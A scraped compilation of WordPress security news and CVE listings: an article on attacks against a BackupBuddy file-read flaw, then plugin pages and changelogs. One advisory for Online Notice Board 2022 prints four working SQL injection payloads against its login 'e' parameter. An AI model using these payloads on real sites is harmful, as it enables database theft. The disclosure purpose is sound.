The critical flaw in BackupBuddy is one of thousands of security issues reported in recent years in products that WordPress sites use to extend functionality.

Attackers are actively exploiting a critical vulnerability in BackupBuddy, a WordPress plug-in that an estimated 140,000 websites are using to back up their installations.

The vulnerability allows attackers to read and download arbitrary files from affected websites, including those containing configuration information and sensitive data such as passwords that can be used for further compromise.

WordPress security vendor Wordfence reported observing attacks targeting the flaw beginning Aug. 26, and said it has blocked close to 5 million attacks since then. The plug-in's developer, iThemes, issued a patch for the flaw on Sept. 2, more than one week after the attacks began. That raises the possibility that at least some WordPress sites using the software were compromised before a fix became available for the vulnerability.

**A Directory Traversal Bug**

In a statement on its website, iThemes described the directory traversal vulnerability as impacting websites running BackupBuddy versions 8.5.8.0 through 8.7.4.1. It urged users of the plug-in to immediately update to BackupBuddy version 8.75, even if they are not currently using a vulnerable version of the plug-in.

"This vulnerability could allow an attacker to view the contents of any file on your server that can be read by your WordPress installation," the plug-in maker warned.

iThemes' alerts provided guidance on how site operators can determine if their website has been compromised and steps they can take to restore security. These measures included resetting the database password, changing their WordPress salts, and rotating API keys and other secrets in their site-configuration file.

Wordfence said it had seen attackers using the flaw to try to retrieve "sensitive files such as the /wp-config.php and /etc/passwd file which can be used to further compromise a victim."

**WordPress Plug-in Security: An Endemic Problem**

The BackupBuddy flaw is just one of thousands of flaws that have been disclosed in WordPress environments — almost all of them involving plug-ins — in recent years.

In a report earlier this year, iThemes said it identified a total of 1,628 disclosed WordPress vulnerabilities in 2021 -- and more than 97% of them impacted plug-ins. Nearly half (47.1%) were rated as being of high to critical severity. And troublingly, 23.2% of vulnerable plug-in had no known fix.

A quick scan of the National Vulnerability Database (NVD) by Dark Reading showed that several dozen vulnerabilities impacting WordPress sites have been disclosed so far in the first week of September alone.

Vulnerable plug-ins are not the only concern for WordPress sites; malicious plug-ins are another issue. A large-scale study of over 400,000 websites that researchers at the Georgia Institute of Technology conducted uncovered a staggering 47,337 malicious plug-ins installed on 24,931 websites, most of them still active.

Sounil Yu, CISO at JupiterOne, says the risks inherent in WordPress environments are like those present in any environment that leverages plug-ins, integrations, and third-party applications to extend functionality.

"As with smartphones, such third-party components extend the capabilities of the core product, but they are also problematic for security teams because they significantly increase the attack surface of the core product," he explains, adding that vetting these products is also challenging because of their sheer number and lack of clear provenance.

"Security teams have rudimentary approaches, most often giving a cursory look at what I call the three Ps: popularity, purpose, and permissions," Yu notes. "Similar to app stores managed by Apple and Google, more vetting needs to be done by the marketplaces to ensure that malicious \[plug-ins, integrations, and third-party apps\] do not create problems for their customers," he notes.

Another problem is that while WordPress is widely used, it often is managed by marketing or Web-design professionals and not IT or security professionals, says Bud Broomhead, CEO at Viakoo.

"Installing is easy and removing is an afterthought or never done," Broomhead tells Dark Reading. "Just like the attack surface has shifted to IoT/OT/ICS, threat actors aim for systems not managed by IT, especially ones that are widely used like WordPress."

Broomhead adds, "Even with WordPress issuing alerts about plug-ins being vulnerabilities, other priorities than security may delay the removal of malicious plug-ins."

Attackers Exploit Zero-Day WordPress Plug-in Vulnerability in BackupBuddy

Online Notice Board 2022 suffers from a remote SQL injection vulnerability.

    ## Title: ONLINE-NOTICE-BOARD-2022 SQLi## Author: nu11secur1ty## Date: 09.09.2022## Vendor: https://www.sourcecodester.com/users/razormist## Software: https://www.sourcecodester.com/php/14317/online-notice-board-system.html## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/razormist/2022/ONLINE-NOTICE-BOARD-2022## Description:The `e` parameter from the ONLINE-NOTICE-BOARD-2022 system appears tobe vulnerable to SQL injection attacks.The malicious user can dump-steal the database, from this system andhe can use it for very malicious purposes.NOTE: The users of this system are NOT protected, this SQLvulnerability is CRITICAL!STATUS: HIGH Vulnerability[+]Payload:```mysql---Parameter: e (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)    Payload: e=MfbByvbe@glupakarazormist.net' OR NOT 5051=5051#Wypj&p=h8F!c4q!L9&save=Login    Type: error-based    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (FLOOR)    Payload: e=MfbByvbe@glupakarazormist.net' OR (SELECT 8344FROM(SELECT COUNT(*),CONCAT(0x716b626b71,(SELECT(ELT(8344=8344,1))),0x7170767171,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# ZBOm&p=h8F!c4q!L9&save=Login    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: e=MfbByvbe@glupakarazormist.net' AND (SELECT 8661 FROM(SELECT(SLEEP(5)))LTGu)# mWpk&p=h8F!c4q!L9&save=Login    Type: UNION query    Title: MySQL UNION query (NULL) - 10 columns    Payload: e=MfbByvbe@glupakarazormist.net' UNION ALL SELECTNULL,CONCAT(0x716b626b71,0x4949414c667070706f614c784d7468616265424b595148715870516c437744516473687567795478,0x7170767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&p=h8F!c4q!L9&save=Login---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/razormist/2022/ONLINE-NOTICE-BOARD-2022)## Proof and Exploit:[href](https://streamable.com/4u9diy)

Online Notice Board 2022 SQL Injection

Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in All in One SEO plugin <= 4.2.3.1 at WordPress.

CVE-2022-38093: All in One SEO – Best WordPress SEO Plugin – Easily Improve SEO Rankings & Increase Traffic

Authenticated (subscriber+) Stored Cross-Site Scripting (XSS) vulnerability in Ali Khallad's Contact Form By Mega Forms plugin <= 1.2.4 at WordPress.

*   Details
*   Reviews
*   Support
*   Development

Mega Forms is highly advanced contact form builder for WordPress, it comes with all the contact form features you will ever need, including AJAX submission, multi-page contact forms, secure file uploads, conditional logic, save and continue, and tons more. You can use Mega Forms to save time, grow customer interaction, and build better contact forms for any purpose.

Mega Forms gives you a modern interface, easy customization, and the ability to build modern & professional forms thanks to our intuitive drag & drop visual editor.

Now you can create better forms, embed them anywhere on your WordPress website, get email notification for each submission, perform custom tasks, and collect & manage data without being a coding ninja.

Mega Forms contact forms are also highly optimized for web and server performance. We know how important speed is when it comes to SEO and user experience, that’s why we have built every piece of Mega Forms with performance and usability in mind. Mega Forms will load the least possible amount of CSS & JS assets, and only store necessary data to the database to keep your website fast and provide your users with better experience.

**No Coding Skills Required**

No technical skill? No problem. You can easily design simple and complex forms with our highly advanced visual builder. Mega Forms offers a flexible row/column layout system that requires very minimal effort to build forms that blends nicely with your website design.

**Developer Friendly**

Mega Forms has been built with developers in mind. This means it’s flexible, easily extendable, and full of action and filter hooks, making it easy to customize to your own needs.

**Top Features**

Mega Forms comes with a visual editor and ton of other features:

*   Intuitive user interface
*   Drag & drop form builder
*   Optimized for speed & performance
*   Tons of free field types ( text, select, radio, checkboxes and more )
*   Regular updates & dedicated support
*   Fully responsive & mobile friendly
*   Unlimited forms & form submission
*   Merge tags support
*   Multi-steps support
*   Conditional logic support
*   Export and import forms
*   Customizable templates
*   Full control ( styles, email templates, field templates and more )
*   Developer friendly
*   Highly effective Anti-spam system ( invisible to users )

**Does Mega Forms Have A Getting Started Guide**

We’re currently still working on building Mega Forms site, once completed, it will have a complete list of resources at https://wpmegaforms.com/

**Is There A Documentation For Developers**

We’re currently still working on building Mega Forms site, once completed, it will have a complete list of resources at https://wpmegaforms.com/

**Does It Work On All Devices**

Yes, Mega Forms is completely responsive and will display forms properly on all types of devices.

**Does It Include Spam Protection**

Yes, we are using a combination of Honeypot & Timetrap to make great spambot-proof forms. We have implemented these thwarting techniques in a way that makes them very effective in detecting and blocking spam submissions without annoying the real users.

**Can I Export & Import Forms**

Yes, you can easily export and import forms via the dedicated export/import tool in the admin area.

**What Field Types Does Mega Forms Offer**

Mega Forms comes with all the fields you need:

*   Text Field
*   Paragraph Text (Textarea)
*   Dropdown Field
*   Radio Buttons
*   Checkboxes
*   Number
*   Name
*   Email Address
*   Address
*   Phone
*   Password
*   Date
*   Website
*   Hidden
*   HTML ( HTML code )
*   Divider
*   Question
*   File Upload
*   Consent

Here is a list of the field types in progress:

*   Google ReCaptacha
*   Calculated Field
*   Star Rating
*   Rangle Slider
*   Toggle
*   Signature
*   Pricing ( field group )

Here is a list of the field containers in progress:

*   Repeatable Group
*   Tabs
*   Accordions

**What Actions Does Mega Forms Offer**

Mega Forms comes with the necessary actions by default:

*   Email Notification
*   WordPress Hook

Here is a list of actions in progress:

*   Google Spreadsheet
*   Integrations ( MailChimp, ActiveCampaign, ConvertKit, AWeber, Campaign Monitor…etc )
*   Webhooks
*   Front End Posting
*   Register User

**Is It Translation Ready**

Yes, Mega Forms has full translation and localization support via the ‘megaforms’ textdomain.

**What Features Are Coming Next**

We are in the process of building more features, here is a list:

*   Form Chaining
*   Export Entries into CSV
*   Tons Of Integrations
*   Payments
*   PDF Copy
*   Save And Continue Later
*   Advanced Stats

We don’t promise all of this will be available soon, but we promise we’ll do our best to ship these features as soon as we can.

Mega Forms is a great drag n drop contact form builder. It supports all form fields you need and has a multi-page form option.

This is a very useful plugin for creating simple forms in WordPress. It saves entries in DB which can be very useful. Form builder is simple with easy to understand UI. I hope it will get more features. Ability to export entries in .xlsx and .pdf would be great.

Simple and perfect plugin to create your form

Congratulations, I'm very happy to be the second one to publish a review for this great plugin.

I think it is a useful Plugin and We wait for more Featuresز Due to the WordPress Hook, I think it is good to explain it in your Plugin Page or URL to let the Users Know how to use it.. Best regards

Read all 5 reviews

“Contact Form By Mega Forms – Drag and Drop Form Builder” is open source software. The following people have contributed to this plugin.

Contributors

*    Ali Khallad

**1.0.0**

*   First release

**1.0.1**

*   Fixed bug ( error when saving forms without adding actions )

**1.0.2**

*   Fixed bugs ( Form editior not taking full screen size, admin area styling fixes..etc )
*   Added “Section” field
*   Added “Question” field ( mainly added to help with Spam prevention )
*   Added the possibility to make “Divider” field transparent ( maily to be used as a “spacer” when needed )
*   Corrected some spelling mistakes

**1.0.3**

*   Fixed bugs
*   Added option to disable saving entries on form submission ( usefull for updating user info..etc )
*   Implemented Anti-spam technique ( Honeypot trap )
*   Added shortcode processing feature to the HTML field

**1.0.4**

*   Fixed bugs ( honeypot issues, php errors on empty form submission, choices not saving in order after moving them around…etc )
*   Added Anti-spam technique ( timetrap )

**1.0.5**

*   Fixed bugs
*   Added pre-made forms feature ( you can now create form based on pre-made templates )

**1.0.6**

*   Fixed bugs ( Styling issues, repeated name attributes when using multiple forms on same page )
*   Improvements to the overall user experience
*   Improvements to the form editor design to allow more clarity while building and managing forms
*   Added more flexibility for developers to create fields, field options..etc
*   Added AJAX submission support
*   Added conditional logic

**1.0.7**

*   Improved: order and display of options in the edit field tab ( Form editor )
*   Fixed: duplicate field setting tabs not responding ( Form editor )
*   Fixed: AJAX form doesn’t respond after first submission
*   Fixed: “Maximum call stack size exceeded” JS error when deep conditional logic is implemented
*   Added: multi-step feature ( paged forms )
*   Added: file upload field

**1.0.8**

*   Styling fixes
*   form editor preview fixes ( wrong column width + wrong description position when typed the first time )
*   Fixed: form shortcode was returning as an empty string when called via AJAX
*   Fixed: AJAX validation was adding duplicate notices for choice fields (radios, checkboxes)
*   Fixed: bug in mfget_option function that mixes between false and non-existing setting values causing some of the true/false settings to have unexpected behavior
*   Added: Save and continue feature
*   Added: Consent field

**1.0.9**

*   Extended “One line text” and “Paragraph text” fields so that the user can view number of characters typed if the maximum length is set for these fields.
*   Added the ability to control field label visibility (show/hide)
*   Fixed bug: When duplicating a field in the form editor, the field values were not copied over to the new field
*   Fixed bug: When adding field tag in the form editor, the field preview didn’t update with the new field value because the change event is not triggered for that field

**1.1.0**

*   Fixed: emails were not being sent when there are multiple recipients

**1.1.1**

*   Performance optimization ( combined and minifed CSS & JS resources )
*   Improved conditional logic

**1.1.2**

*   Fix: a JS bug that prevents items from displaying in the single entry page
*   Fix: email header issues
*   Fix: conditional logic not working on compound fields
*   Improvement: Make phone & number fields display a keypad on mobile view instead of the default keyboard.

**1.1.3**

*   Update: include all PRO features in free version and drop the paid version ( Mega Forms with all PRO features is now free ).
*   Fix: a bug in the referrer column in entries table that prevents the creation of entries if the referrer is longer than 100 chars.

**1.1.4**

*   added filter hook “mf\_bypass\_session\_error” to allow bypassing session validation error ( usefull when cookies aren’t allowed/saved ).

**1.1.5**

*   Fix: form email action issues ( subject was empty by default, email not sending when the “from” field is not formatted correctly )
*   Fix: entries list display ( the list was showing all columns/fields by default which can cause unpleasant view for large forms)
*   Fix: fields order was based on ID order on different areas ( emails, entries, entry lists..etc ), this is corrected to show fields in the same order as they appear on the form.
*   Improved the “Change columns visibility” option design/display on the entries list page
*   Ensure that once an entry is deleted, all associated files will be deleted as well.
*   Added a link to download/view uploaded files in email notifications

**1.1.6**

*   Fix: bug in file field description ( removing file field description was not possible )
*   Added WordPress shortcodes support to the “default value” field
*   Fix: syntax error during activation

**1.1.7**

*   Added cookies compatibility with wpengine ( to prevent caching issues )
*   Fixed a bug with WP admin notices ( hiding notices outside the plugin’s pages )
*   Fixed a bug with the plugin’s admin snackbar ( not being loaded on some pages )

**1.1.8**

*   Bug fixes in the drag and drop uploads field ( inaccurate file count … )

**1.1.9**

*   Fix: a bug in “more options” selection in email action that only allows a single value to be saved
*   Fix: a bug making the filetype case-sensitive in upload field

**1.2.0**

*   Fix: a bug in checkbox option that is causing only the last selected value to be saved from a checkbox list in AJAX submissions
*   Fix: a bug in “form save” process that is causing only a single “form action” to be saved.

**1.2.1**

*   Fix: maintain the selected tab selected after page refresh ( admin settings )
*   Added: ability to export form entries

**1.2.2**

*   Changed Mega Forms session cookie prefix from “mf” to “wordpress\_mf” to ensure compatibility with caching plugins and hosting providers caching.
*   Fixed: CSS clearfix incompatibility with some theme which causing the layout of some fields to break ( eg; address field when error are displayed )
*   Fixed: Bug that prevented the “CSS Classes” value from being saved for form fields.

**1.2.3**

*   Styling fixes
*   Reduced resources ( CSS, JS ) size.

**1.2.4**

*   Add support to multisite

**1.2.5**

*   CSS Fixes
*   Fixed a XSS issue. Credit: ptsfence.

CVE-2022-40191: Contact Form By Mega Forms – Drag and Drop Form Builder

Cross-Site Request Forgery (CSRF) vulnerability in gVectors Team wpForo Forum plugin <= 2.0.5 at WordPress.

CVE-2022-38144: wpForo Forum

Authenticated (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Apasionados Export Post Info plugin <= 1.1.0 at WordPress.

*   Details
*   Reviews
*   Installation
*   Support
*   Development

**Description**

This plugin exports posts Date published, Post title, Word Count, Status, URL and Category to a CSV file, allowing to have an overview of the topics and titles published in the blog.

We created this plugin because we generate large amounts of content for blogs and we often need to lookup the topics that were already covered before in a blog. As we don’t want to export the titles by hand we developed this plugin.

**What can I do with this plugin?**

This plugin exports posts Date published, Post title, Word Count, Status, URL and Category to a CSV file that can be imported into Excel.

**What ideas is this plugin based on?**

We were searching for a plugin that allowed us to export the post titles and found Export All URLs. Unfortunately the plugin didn’t export the publish date, status and word count, so we decided to create a new plugin with this information and the the ability to translate it.

**System requirements**

PHP version 5.5 or greater.

**Export Post Info to CSV Plugin in your Language!**

This first release is avaliable in English and Spanish. In the “languages” folder we have included the necessarry files to translate this plugin.

If you would like the plugin in your language and you’re good at translating, please drop us a line at Contact us.

**Further Reading**

You can access the description of the plugin in Spanish at: Export Post Info to CSV en español.

**Contact**

For further information please send us an email.

**Translating WordPress Plugins**

The steps involved in translating a plugin are:

1.  Run a tool over the code to produce a POT file (Portable Object Template), simply a list of all localizable text. Our plugins allready havae this POT file in the /languages/ folder.
2.  Use a plain text editor or a special localization tool to generate a translation for each piece of text. This produces a PO file (Portable Object). The only difference between a POT and PO file is that the PO file contains translations.
3.  Compile the PO file to produce a MO file (Machine Object), which can then be used in the theme or plugin.

In order to translate a plugin you will need a special software tool like poEdit, which is a cross-platform graphical tool that is available for Windows, Linux, and Mac OS X.

The naming of your PO and MO files is very important and must match the desired locale. The naming convention is: language_COUNTRY.po and plugins have an additional naming convention whereby the plugin name is added to the filename: pluginname-fr_FR.po

That is, the plugin name name must be the language code followed by an underscore, followed by a code for the country (in uppercase). If the encoding of the file is not UTF-8 then the encoding must be specified.

For example:

*   en\_US � US English
*   en\_UK � UK English
*   es\_ES � Spanish from Spain
*   fr\_FR � French from France
*   zh\_CN � Simplified Chinese

A list of language codes can be found here, and country codes can be found here. A full list of encoding names can also be found at IANA.

**Screenshots**

**Installation**

1.  First you will have to upload the plugin to the /wp-content/plugins/ folder.
2.  Then activate the plugin in the plugin panel.
3.  Go to SETTINGS / EXPORT POST INFO.
4.  Save a random string to make it harder for somebody to access your exported data.
5.  Download your CSV file.

**FAQ**

**Why did you make this plugin?**

We couldn’t find a plugin that would give us the functionality we were looking for:  
1) Export publish date.  
2) Export word count.  
3) Easy translation of the plugin into other languages. So far English and Spanish translations are included.

**Why do I have to setup a random string for the name of the export CSV file?**

Other plugins always export the file with the same name and in the same folder so it’s easy to access this file. We don’t want that this file can be easily found, so we decided to let you setup a random string to make the file name harder to guess.

**Does Export Post Info make changes to the database?**

Yes. It created an entry in the options table where the random string is stored.

**How can I check out if the plugin works for me?**

Install and activate. Go to settings / Export Post Info. Save random string. And download CSV file.

**How can I remove Export Post Info to CSV?**

You can simply activate, deactivate or delete it in your plugin management section.

**Which PHP version do I need?**

This plugin has been tested and works with PHP versions 5.5 and greater. WordPress itself recommends using PHP version 7.3 or greater. If you’re using a PHP version lower than 5.5 please upgrade your PHP version or contact your Server administrator.

**Are there any known incompatibilities?**

Yes. On a multi-language site the export will not work correctly.

**Is this plugin compatible with WPML**

Yes, but only the posts of the main language are exported. Post in secondary languages are not exported at this moment. We are working on this because we would like to have this feature but for us it isn’t easy to code.

**Are there any server requirements?**

Yes. The plugin requires a PHP version 5.5 or higher and we recommend using PHP version 7.3 or higher.

**Do you make use of Export Post Info to CSV yourself?**

Of course we do. That’s why we created it. 😉

**Reviews**

From uploading the plugin to downloading the CSV file took about 15 seconds! Just perfect - thank you!

This plugin exported exactly what I needed, and it did it quickly and painlessly. Thanks very much to the devs!

Time saver, works just fine

Super plugin, très simple à utiliser. Merci !

Thank you so much for this amazing little plugin that did exactly what I needed. Saved me hours of work in creating a spreadsheet with all my posts so I can create an optimization checklist. The other popular export all posts plugin only exports the post title, url and category. Without the date and other fields, I would have to go in and manually add that data. Export Post Info (this plugin) did all of it perfectly. Keep up the great work!

October 11, 2018

Not sure why this plug in has no reviews. Did for me EXACTLY what I needed even though it is two years old. Muchas Gracias

Read all 6 reviews

**Contributors & Developers**

“Export Post Info” is open source software. The following people have contributed to this plugin.

Contributors

*    apasionados

**Changelog****1.2.0 (06/Sep/2022)**

*   Security update: Please update your plugin. We escaped data to increase your security.
*   Corrected PHP notices when debug was active.

**1.1.0 (25/Aug/2019)**

*   Now posts with status published, future and private are exported. Until now only posts with status published were exported.
*   Added post status column to the export file.
*   PHP version must be 5.6 or higher. Recommended PHP version: 7.3.

**1.0.4 (08/Abr/2017)**

*   Cleaned up code + Changed functions name to be unique and avoid conflicts with other plugins or themes.

**1.0.3 (07/Abr/2017)**

*   Added check for PHP version when activating the plugin. PHP version must be 5.5 o greater.

**1.0.2 (07/Abr/2017)**

*   Solved error in Word Count with words containing UTF-8 characters.

**1.0.1 (07/Abr/2017)**

*   Word count would not count all words of a post if a tag was present.

**1.0.0 (07/Abr/2017)**

*   First official release.

CVE-2022-38068: Export Post Info

Unauthenticated Plugin Settings Change & Data Deletion vulnerabilities in WP Shop plugin <= 3.9.6 at WordPress.

*   Details
*   Reviews
*   Support
*   Development

This plugin has been closed as of September 5, 2022 and is not available for download. This closure is temporary, pending a full review.

Являюсь обладателем , который по глупости и началу знакомства с wordpress купил две темы для своих интернет магазинов у WP Shop о чем сейчас жалею . 1) Плагин WP Shop работает только с темами WP Shop и если вы захотите перевести свой сайт на тему других создателей - у вас не получится или получится полный .... 2) Очень важно !!! - Плагин не обновляют он работает на версии максимально PHP 7.0 и то обновили после моих долгих просьб ( на момент написания отзыва уже как пол года существует версия PHP 7.4 ) Если вы переведете на новую версию PHP - сайт - ЛОЖИТСЯ ! 3) Хотел выбросить темы от WP Shop и перейти на темы других создателей с WooCommerce но жалко терять рейтинг страниц сайта . Но думаю придётся сделать новый сайт на WooCommerce и делать редирект всех товаров с тем сайтов от WP Shop на новый от WooCommerce 4) Не повторяйте моих ошибок покупайте сразу современные темы с работой в WooCommerce , которые со временем легко можно - заменить и они еще дешевле вам обойдутся чем старые темы от WP Shop 5) 100% уверен что хорошие отзывы о плагине писали сами WP Shop

Ни в коем случае не связывайтесь с этими разработчиками и ничего у них не покупайте. Тот функционал, который они обещают в про версии – обман. Они просто возьмут с вас деньги, а потом от всего откажутся, в том числе от поддержки. Просто посмотрите их кривой сайт и полуживую документацию и сами всё поймёте!

На мой взгляд, лучший модуль интернет-магазина для сайта на русском языке. Есть все необходимое для продажи большинства товаров, включая виртуальные (цифровые). Грамотная оперативная поддержка в группе ВКонтакте. Спасибо разработчикам за их труд!

It works correctly only with there onw Themes

Перепробовал 4 плагина интернет магазина для ВП, ни чего подходящее WP-Shop не нашел. Все на русском, ни чего переводить не надо, легко синхронизировать с 1С, волшебная функция Экспорт импорт, и куча других плюсов. Спокойно можно разобраться в течение часа как все работает не имея специального образования.

Отличный плагин, постоянно пользуюсь. Тут есть все для настройки простого и надежного интернет магазина.

Read all 16 reviews

“WP Shop” is open source software. The following people have contributed to this plugin.

Contributors

CVE-2022-36793: WP Shop

Unauthenticated Event Deletion vulnerability in Totalsoft Event Calendar – Calendar plugin <= 1.4.6 at WordPress.

*   Details
*   Reviews
*   Installation
*   Support
*   Development

Event Calendar is a flexible calendar plugin that allows you to connect to your database and show up your event days on a view. Calendar can render a Day, Week, Month and Resource calendar view. The also provides an interface for manipulating and formatting dates and times. Each event box has a link to the original event you defined in your calendar.

*   Event Calendar Premium
*   All Calendar Demo Types
*   Event Calendar FAQ
*   Event Calendar User Manual
*   Support Forum

**Features**

*   Plugin for create a calendar with events.
*   Intuitive event labels.
*   Easy to customize.
*   Use as a date picker or a full fledged calendar.
*   10 free themes with the option of select data ranges, mark events and others (4 versions of the event calendar type, 2 versions of the simple type, 2 versions of the flexible type and 2 versions of the timeline type)
*   You can easily list your events on wherever you want on your page via shortcodes.
*   Each event box has a link to the original event you defined in your calendar.
*   Allows you to set the most appropriate navigation arrows, which will suit the best for your web site.
*   The ability to display multiple events for a single day.
*   Plugin lets you change the color and set it to the colors of your site.
*   You can change the start and end date of the event.
*   You can change the start and end time of events.
*   You can customize the calendar color, font size and font family.
*   The ability to change the color of the arrow and background color.
*   Each species has a unique customizable settings.
*   Add an unlimited number of events in one calendar. As you have already created a number of events, you can add via the shortcodes on your page as you need.
*   Each calendar can be inserted in a page, post or widget shortcode.
*   You can add photos to the events (all types)
*   Total Calendar, Timeline, Crazy, Schedule and Full Year types each event has its own color.
*   Recurring events
*   Possibility to preview the theme in calendar before putting it on the page.

**Premium version adds**

*   3 beautiful customizable themes
*   Crazy Calendar Theme
*   Schedule Theme
*   Full Year Calendar Theme
*   **Recurring events** – Daily, Weekly, Monthly, Yearly
*   **WeekDay Start** – Can select that day, which must be the first in the week.
*   **Weekday** – Ability to select the style of calendar week.
*   **Todays numbers Color** – Can choose the date color, that will be displayed.
*   **Icon** – Possibility select the right and the left icons, which are, for change the months by sequence.
*   **Color** – The plugin allows to change the color and enter it in the colors of your site.
*   **Font** – The plugin allows to change the color of the date, font size and font family.
*   This opens up new useful functions and new possibilities.

**In addition to the features mentioned above, there are many other functions inside the plugin. You get the advantage of an intuitive user interface, that makes the plugin operation easy, easy to understand the calendar options, as well as many hooks and filters to control the output.**

**Main features of Event.**

*   **Event Title** – You can give a name for event.
*   **Calendar Name** – Choose that version of themes, in which you want to see the Events.
*   **Start Date** – You Can select the start of the event (To display events in the calendar if you have a browser Safari, firefox or Internet explorer should write yyyy-mm-dd).
*   **End Date** – You Can select the finish date of the event (To display events if you have a browser Safari, firefox or Internet explorer should write yyyy-mm-dd).
*   **Event URL** – You can set external URL, which should be included in the event.
*   Open in new tab – Choose, by clicking on the link should open in new tab or not.
*   **Start Time (Required field)** – Can select the event start time (To display events in the calendar if you have a browser Safari, Firefox or Internet explorer should write hh:mm).
*   **End Time (Required field)** – Can select the event end time (To display events if you have a browser Safari, Firefox or Internet explorer should write hh:mm).
*   **Event color** – Select that color, which you want to see for your event, which shows in the calendar (Event Color option is only for Event Calendar Type.).
*   **Description** – You can give a description for event.
*   **Event Image/Video** – You can give a Image and Video(YouTube and Vimeo) for event. Event Image and Video option is available for all types.

**Insert plugin to the WordPress page, post, widget** – Every calendar could be inserted into a page, post or widget with shortcode.

**Plugin works in Chrome, Safari, Opera, Firefox, Internet Explorer** – Use your calendar with all the popular browsers.

**Navigation Arrow** – Plugin allows you to get the most suitable navigation arrows that fit best for your website.

**The Plugin is Truly Wonderful** – You can create a very nice and beautiful calendar for your website. The plugin is easily editable and functionality perfectly.

**Link** – There is a special place for adding a Link to each event. Choose to open the Link in the new tab or not.

**Technical Support**

*   If you notice any errors or have any questions with our event calendar, you can notify us. We will investigate and solve the problem. Check out the Event Calendar Support Forum on our website. If you don’t find a solution to your question here, don’t hesitate to click here to contact us.

THANK YOU FOR YOUR INTEREST IN EVENT CALENDAR TS.

Here’s how you install and activate the Event Calendars plugin:

Download the plugin.  
Upload the .zip file in your WordPress plugin directory.  
Activate the plugin from the “Plugins” menu in WordPress.  
After activating Event Calendar, choose the type of version you wish to use.

For users of MAC

*   Go to the downloads folder and local the folder with the event calendar.
*   Right click on the folder and select Compress. Now you have just created the .zip file, which can be installed as described here.
*   Click the download and install button to download and install the plugin.
*   Click the Activate plugin button to activate the calendar plugin.
*   If the installation is succeeded, you will see a message in the image.
*   In case of any problems during the installation of the calendar, please click here to contact us.

**1). There are some restrictions for adding events?**

*   There is no limit for the amount of events.
*   You can add as many events as you want. Plugin has no limitations.

**2.) How many calendar may I create for WordPress website?**

*   You may create unlimited calendars by this plugin and by many options.

**3.) How to change the font size of the theme?**

*   The settings can include custom header settings where you can adjust the font size and see the results in the live preview.

**4.) How can I add plugin in widget?**

*   Get to the widget, then add our plugin widget to the sidebar. Then select your name.

**5.) How many themes can I create for my plugin?**

*   You can create as many themes as you want.

**6.) \*\*\*\* Where to change the settings?**

*   The settings you can change in the manager’s calendar.

**7.) I create an event in the calendar but it does not show. What can I do?**

*   First, check that you don’t have the same plugin again.
*   It is necessary to write the begging and ending day of the event.
*   If you have Safari, Firefox, Opera or Internet Explorer, you must write yyyy-mm-dd , that would show the events in calendar.

**8). How many calendar themes can I create for my plugin?**

*   You can create as many themes as you want.

**9.) How many event can I create for my plugin?**

*   You can create as many events as you need.

**10.) Has each event own color or color is for everyone in Simple Type?**

*   In this version you are setting events color in general options and its for all events. In Total Calendar and Timeline types each event has its own color.

**11.) How to change date format?**

*   If you need to change event date format, please open Event Manager Settings and type necessary type in Date format input. For instance, in case you want to have dates as 08/1/2020, set the format to M/d/Y.

awesomeness in this calendar

I bought the full version. After installing on my template, not everything was fine, but the support from the developer was great / fast. The calendar fully suits me both in terms of features and usability bars - on pages or widgets. So far, I am very satisfied.

In my case I needed a yearly calendar. It is the plugin that I was looking for. Functional, easy to use, cheap ... In addition, the customer service is incredible. I definitely recommend it.

This plugin is all I need for a simple event calendar with no bells and whistles. Had some issues in the beginning with the backend but support fixed them quickly and released an updated version. The only issues I have now, I have with all free plugins. They all seem to think it is okay to bombard us with promotions to upgrade to pro. If that is what we wanted we would have done this once we confirmed the plugin was well structured and we could use the added features. Why not allow us to remove the promos forever? After all there is a link to your page inside the plugin itself if we change our minds later.

We had a Problem with the Size of the Date for one Calendar Type, because we wanted it to be different from the headline of one event, so we contacted the Support. It was really really fast and help us out as fast as possible. They even changed the code for us so we got what we wanted. I never saw that Developer made a change for one single user. Its awesome Service in my opinion! I would recommend this plugin again, if you want to use a simple but clear calendar plugin for wordpress.

Read all 98 reviews

“Event Calendar – Calendar” is open source software. The following people have contributed to this plugin.

Contributors

*    totalsoft

**Version 1.4.8**

*   Changed TS Poll plugin banner

**Version 1.4.7**

*   Fixed a bug in the plugin.

**Version 1.4.6**

*   Fixed issue with theme options.

**Version 1.4.5**

*   Fixed bug with admin panel.

**Version 1.4.4**

*   Added the ability to change the icon to events.
*   Changed several fonts.
*   Fixed bugs related to PHP 8 version.

**Version 1.4.3**

*   Fixed bug in “update” functions.

**Version 1.4.2**

*   Fixed bug in “edit” functions.

**Version 1.4.1**

*   Changed function for font size.
*   Fixed issue in events option.

**Version 1.4.0**

*   Fixed a bug for showing the event.

**Version 1.3.9**

*   Added font for days on the calendar.
*   Fixed bug related icons.

**Version 1.3.8**

*   Added the ability to put days on the center.

**Version 1.3.7**

*   Added the ability to select icons back to the calendar after the event.

**Version 1.3.6**

*   Fixed a bug in the Timeline type. After changing the language this type was did not work.

**Version 1.3.5**

*   Added a new opportunity in the timeline version. Shows the current days at first.
*   Fixed a bug in the flexible version. The start and the end of days in the event, showed only the starting day.
*   Fixed a bug in the Timeline version. When the year did not had any event it do not show the next year�s events.

**Version 1.3.4**

*   The bug in the “Total Soft Calendar” version has been fixed. The description is not shown in the calendar.
*   Fixed a bug with recurring events.

**Version 1.3.3**

*   Added possibility to preview the theme in calendar before putting it on the page.
*   Updated translations.
*   Changed admin menu design.

**Version 1.3.2**

*   Added Google fonts to the basic fonts.
*   Added possibility to make recurring events.
*   Added box shadow options for all types.
*   Fixed bug with media uploading process.

**Version 1.3.1**

*   Updated function for creating Simple type.

**Version 1.3.0**

*   Changed Media uploading function.
*   Changed admin menu style.
*   Added languages for Timeline type.
*   Changed function for constructing Timeline calendar.

**Version 1.2.9**

*   Changed CSS style for Flexible Calendar type.
*   Updated uploading function for videos and images.
